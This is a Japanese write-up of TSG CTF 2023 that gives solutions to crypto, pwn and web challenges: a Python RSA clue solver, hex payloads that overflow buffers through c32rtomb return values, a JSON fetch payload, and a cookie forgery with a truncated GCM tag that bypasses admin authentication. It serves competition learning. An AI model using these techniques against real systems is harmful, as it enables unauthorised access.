---
# System prepended metadata

title: TSG CTF 2023 Writeup
tags: [CTF, Writeup]

---

# TSG CTF 2023 Writeup

![score.ctf.tsg.ne.jp_teams_727.png](https://hackmd.io/_uploads/ByvV7krmT.png)

## Crypto

### Unique Flag

> フラグの内容はユニークにしたほうがいい問題になるって聞きました。

```python
import string


def main():
    with open('output.txt') as f:
        for l in f:
            exec(l, globals())

    c_list = {chr(c): pow(c, e, N) for c in string.printable.encode()}

    def rec(flag, used):
        x = flag[-1]
        for y in c_list.keys():
            c = c_list[x] * c_list[y] % N
            if c in clues and y not in used:
                rec(flag + y, used | {y})
        if len(flag) == 33:
            print(flag)

    rec('TSGCTF{', set())


if __name__ == '__main__':
    main()
```

#### Flag

`TSGCTF{OK,IsTHi5A_un1qUe-flag?XD}`

## Pwn

### converter

> \# -speaking: utf-8 -

```clike
utf8_ptr += c32rtomb(utf8_ptr, 0x11111111, &ps); // += 6
```

`11111111` を入力した時に `c32rtomb` は `6` を返します。

```clike
char utf8_bin[MAX_FLAG_CHARS * 4 + 1];
char flag_buffer[MAX_FLAG_CHARS + 1];
```

`utf8_ptr += 6` になることを利用して `utf8_bin[MAX_FLAG_CHARS * 4]` を書き換えます。

#### Payload

1. `0001f680`
2. `0001f98a`
3. `11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111110001f6800001f680`

#### Flag

`TSGCTF{NoEmojiHereThough:cry:}`

### converter2

> Now I'm calling from the Alps.

```dockerfile
FROM alpine:3.18.4
```

converter と環境が異なります。

```clike
utf8_ptr += c32rtomb(utf8_ptr, 0x11111111, &ps); // += -1
```

`11111111` を入力した時に `c32rtomb` は `-1` を返します。

```clike
char utf32_hexstr[3][MAX_FLAG_CHARS * 8 + 1];
char utf8_bin[MAX_FLAG_CHARS * 4 + 1];
char flag_buffer[MAX_FLAG_CHARS + 1];
```

`utf8_ptr += -1` になることを利用して `utf32_hexstr[2][MAX_FLAG_CHARS * 8]` を書き換えます。

#### Payload

1. `111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111110000003000000030000000300000003100000046000000390000003800000041`
2. `0001f98a`
3. `0001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f680`

#### Flag

`TSGCTF{IdidntknowUTF8isupto6!}`

## Web

### Upside-down cake

> 設定が正しいか、413回チェックしました。

```javascript
palindrome = { 0: 'a', 999: 'a', length: '1000' }
fetch('/', { method: 'POST', 'headers': {'Content-Type': 'application/json' }, body: JSON.stringify({palindrome}) })
```

#### Flag

`TSGCTF{pilchards_are_gazing_stars_which_are_very_far_away}`

### #DANCE

> 管理者パスワードを忘れてしまいました。パスワードを見る方法は管理者としてログインするしかないのに! デッドロックだ!

guest でログインして cookie の値 (auth と iv) を取得します。`'admin' xor 'guest' xor auth` をして admin に対する auth の値を求めます。

`openssl_decrypt` のドキュメントを読むと指定した tag が適切な tag の先頭に一致した場合に復号できる可能性があることがわかります。

> The length of the tag is not checked by the function. It is the caller's responsibility to ensure that the length of the tag matches the length of the tag retrieved when openssl_encrypt() has been called. Otherwise the decryption may succeed if the given tag only matches the start of the proper tag.

https://www.php.net/manual/en/function.openssl-decrypt.php

cookie を書き換えてから mypage.php を開くとフラグを取得することができます。
- auth: F6W6w9U=
- iv: z6RgP8vemNYFnZUO
- tag: aw=

#### Flag

`TSGCTF{Deadlock_has_been_broken_with_Authentication_bypass!_Now,_repair_website_to_reject_rewritten_CookiE.}`
